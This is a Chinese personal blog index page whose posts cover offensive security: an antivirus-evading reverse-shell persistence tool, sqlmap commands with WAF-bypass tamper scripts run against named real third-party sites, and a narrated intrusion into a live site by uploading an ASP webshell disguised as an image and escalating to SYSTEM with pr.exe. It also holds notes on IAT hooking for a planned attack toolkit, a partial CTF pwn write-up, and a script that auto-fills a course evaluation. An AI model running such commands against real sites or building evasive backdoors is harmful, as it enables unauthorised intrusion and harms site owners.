2019-08-19 | 资源分享,技术文章 |
2019/8/19
嘛,整出来了Manager
咕咕咕了这么久(其实这期间是去整其他事情了)
怎么说呢,勉强能用的那种吧

与其说是远控,不如说更像一个权限维持工具吧。
目前是全网免杀的_(:з)∠)_。。还有许多功能没添加
2019/8/5
基于:反弹式shell后门 实现
基本就是用这货整了个控制端,再用jq+ws整了个前端。
控制端用的是Golang写的,这样可以在多平台上跑。
还未完善,地址在这:tkit
暑假过去一半了啊啊啊啊啊啊啊,感觉自己啥也没干。
非常的烦.jpg
挖了好多坑都没填 ,其中就是那个pantsuWorld了,和一群人设定半天,连框架都没搭出来
完成度0.3%左右吧hhhhh
就是这些了

2019-08-13 | 黑科技,技术文章 |
虽然烂大街了但是还是发一下把
WAF/IPS/IDS identified as 'ASP.NET RequestValidationMode (Microsoft)'
sqlmap -u "http://member.niceloo.com/Project/ClassSearch.aspx?KeyWord=消防" --hpp -v3 -tamper "charunicodeencode.py,charencode.py" --thre
ad 10 --dbs
WAF/IPS/IDS identified as 'Generic (Unknown)'
C:\Users\Administrator>sqlmap -u "http://66123123.com/Goods/GoodsSearch?keyword=复印纸" --hpp -v3 -tamper "charunicodeencode.py,charencode.py,space2comment" --random-agent --flush-session --hex --thread 10
WAF/IPS/IDS identified as 'Jiasule Web Application Firewall (Jiasule)'
WAF/IPS/IDS identified as 'Safedog Web Application Firewall (Safedog)'
http://fans.sports.qq.com/post.htm?id=1602852759616356425&mid=62+#1_allWithElite
WAF/IPS/IDS identified as 'WebKnight Application Firewall (AQTRONIX)'
Tags: none
2019-08-08 | 随便写的什么奇怪的东西,技术文章 |
内网漫游时,正好发现了一个奇怪的页面。同时又突发奇想心血来潮闲的蛋疼balabala的想试试远古的工具包实际效果,于是就开始了我们的测试啦,因为这个站非常没有技术含量and早就废弃不用了,所以我就拿出来氵一篇文章了,不然博客都长草了
目标是这个

第一步信息收集,怎么做呢?肯定是先御剑走起啊。
御剑扫的同时,先看看页面整么做的。
看了一下,发现是一个asp页面下面加上好几个html页面,然后用ajax请求。看到这瞬间知道没什么希望了

但是天无绝人之路,御剑发现目录下有个BOOK.MDB,直接走起下载。读取查看,

看样子确实是动态的

我们看看有没有什么密码


现在用户名密码有了,问题来了,找不到登陆的地点。
各种尝试过后,失败.jpg
换去扫端口,nmap走起。
发现除了开启88端口外,80端口还有一个站点。
同时还有开放1723,1433,1025,1026,3389等一些服务,
其中1723和1025,1026这几个应该是没啥办法的了,这分别是某服务也windows rpc服务。
我们转到80站点看看

感觉有戏!先看看站点。


试了下登陆,没有回显。再看看题目那里sql注入


看样子似乎可以注入,但是并不是个注入点的样子。
继续掏出御剑,走起

神奇的发现,目录是可读的。

尝试下载。失败

这时候我们发现了个Upfile


上传个文件试试
emmm果不其然失败了

但是我们看这个路径upfile.asp?jpgname=
立刻掏出我们的Fiddle,构造一个上传请求,asp马,上传.jpg

成功拿下。
发现服务器是windows 2003的,站点是IIS6.0
但是我们发现我们的服务很死。
windows甚至没有执行权限,cmd命令都无法执行,我们上传个cmd,执行试试。也不行。
然后想起了站点时IIS6.0,从工具包里找个pr.exe。
pr原理大概就是已NETWORK SERVICE权限运行的用户可以试着提权到SYSTEM权限。
抱着试一试的心态上传了这个exploit,执行

emmmm卧槽?真的成了???
然后就连上去了doge。。
Tags: none
2019-07-03 | 黑科技,技术文章 |
作为一个优秀的"大学生",遇到一些繁杂,重复的东西,自然就需要一些特殊的技巧来完成啦。否则的话,就和最低级的苦力工没啥区别。
首单其中的,就是xxx质量评价啦,选项多还不说,还不能一个一个选过去

因此,为了解决这个办法,自然要。开整!
首先,我们先需要一个jq。
jq大法好!
var importJs=document.createElement('script')
importJs.setAttribute("type","text/javascript")
importJs.setAttribute("src", 'https://ajax.microsoft.com/ajax/jquery/jquery-1.4.min.js')
document.getElementsByTagName("head")[0].appendChild(importJs);
之后,就是遍历该属性的select选择器
$("#divJs select").each(function(){ //遍历选择器
var b = Math.round(Math.random()); //生成0,1随机数
if (b==0){
$(this).val("优秀");}else{ //选择
$(this).val("良好");
}
});
$("#pjxx").text("海星海星海星");
这样就完成啦,至于怎么用?
使用chrome,打开该页面,输入f12,按下console。
把上面两段代码复制过去,回车。
就会发现都选择完啦!
Tags: none
2019-06-06 | 随便写的什么奇怪的东西,技术文章 |
详解各种奇淫绝技。
部分手写部分搬运。
重在自己的理解,或者找个时间,武器化这部分程序。
最终目标: 实现一个带有各种HOOK的汇总工具包
遇到的坑
pragma comment 只对微软编译器有效,GCC没用,得用-l来连接
IAT HOOK
内存版本
这个需要进入到宿主文件的内存空间,所以一般用DLL注入到宿主文件
原理就是普通的计算IMAGE_IMPORT_DESCRIPTOR在内存空间的地址。
然后修改IMAGE_IMPORT_DESCRIPTOR.FirstThunk.u1.Function的地址为我们的函数地址
其中几个重点:
GetModuleHandle(NULL);
// 获取主模块(EXE)的地址
PVOID WINAPI ImageDirectoryEntryToData(
__in PVOID Base,
__in BOOLEAN MappedAsImage,
__in USHORT DirectoryEntry,
__out PULONG Size );
获取内存中IAT导入表的虚拟地址。
//Base为要获得导入段所在模块的基地址。它一般是GetModuleHandle的返回值。
//MappedAsImage,它为true时,系统将该模块以映像文件的形式映射,否则以数据文件的形式映射。
//DirectoryEntry,要获得的段的索引。此函数不仅仅能够获得导入段的地址,根据此索引的不同,该函数返回对应段的地址。此处我们使用 IMAGE_DIRECTORY_ENTRY_IMPORT表示我们要获得导入段的地址。
//Size返回表项的大小
目录文件
- iat/memory/target.c 实例,直接封装在代码中的HOOK,没使用装载器
- iat/memory/dll.c dll封装版本(纯搬运)
代码参考:
文件区块修改版本
直接操作PE文件,修改IAT导入表导入DLL的地址。
这样的好处是在程序最初的加载就已经执行我们的代码,
并且不需要使用注入等容易被检测的敏感动作。
缺点是不能针对单独函数hook,
或者说与其是hook。完全是无中生有添加了一个DLL引用。
未完待续。。。
Tags: none
2019-04-11 | 黑科技,技术文章 |
分析
二话不说,直接拉到IDA,然后F5走起。
之后我们跟进


很明显,这个是接收ID的,其中sub_400ABE函数应该就是接收函数了。我们看一看

果然,大概意思就是两个参数,一个字符串地址,一个接收的长度。然后for长度,用read接收字符,遇到n就break。
之后跟进第二个函数,是接收文本的,发现上面的recv长度可控。
大概逻辑就是接收文本长度,然后接收文本,然后把文本返回

然而因为接收的长度是严格按照我们输入的大小来控制的,在接收函数那似乎并不能溢出。
但是!看到第一个参数s。我们这个参数是一个字符串地址,往这里写入的长度是我们可以控制的,那么,这个s的内存是在哪里申请的呢?
我们往上找,在接收story长度的那里


看到了这个20ull
只要我们输入的长度大于这个20ull,理论就能覆盖返回地址。
虽说这里判断接收的size,如果>128,就默认是1024ll,但是我们看小于0,并没有判断大小

所以我们只需要在前面加个符号就能绕过判断了。
典型的ROP,之后就是我们要获取到libc地址。
代码直接使用了printf(%s),就是和明显的字符串泄露了
在此之前,先用checksec分析一下。

发现开启了canary。这时候就需要泄露canary地址了
打开IDA/gdp,给printf下断点,执行。然后查看栈。
找到xor ebp,ebp

数一数距离printf的栈顶有多远,这里是15,也就是cannary的地址了。
接下来得构造ROP调用system来执行我们的代码,就得用ROP构造了,不过在此之前我们得先找到libc的地址来构造。
因此我们先找个函数来计算libc基地址。到时候再更具基地址查找版本,再查找system函数的偏移就行了。
首先我们先用ldd来查看libc,got地址或者直接使用pwntools的elf功能。
大致思路就是这样,好困我先睡觉去了,明天找时间再写
代码
Tags: none
- «
- 1
- ...
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- ...
- 14
- »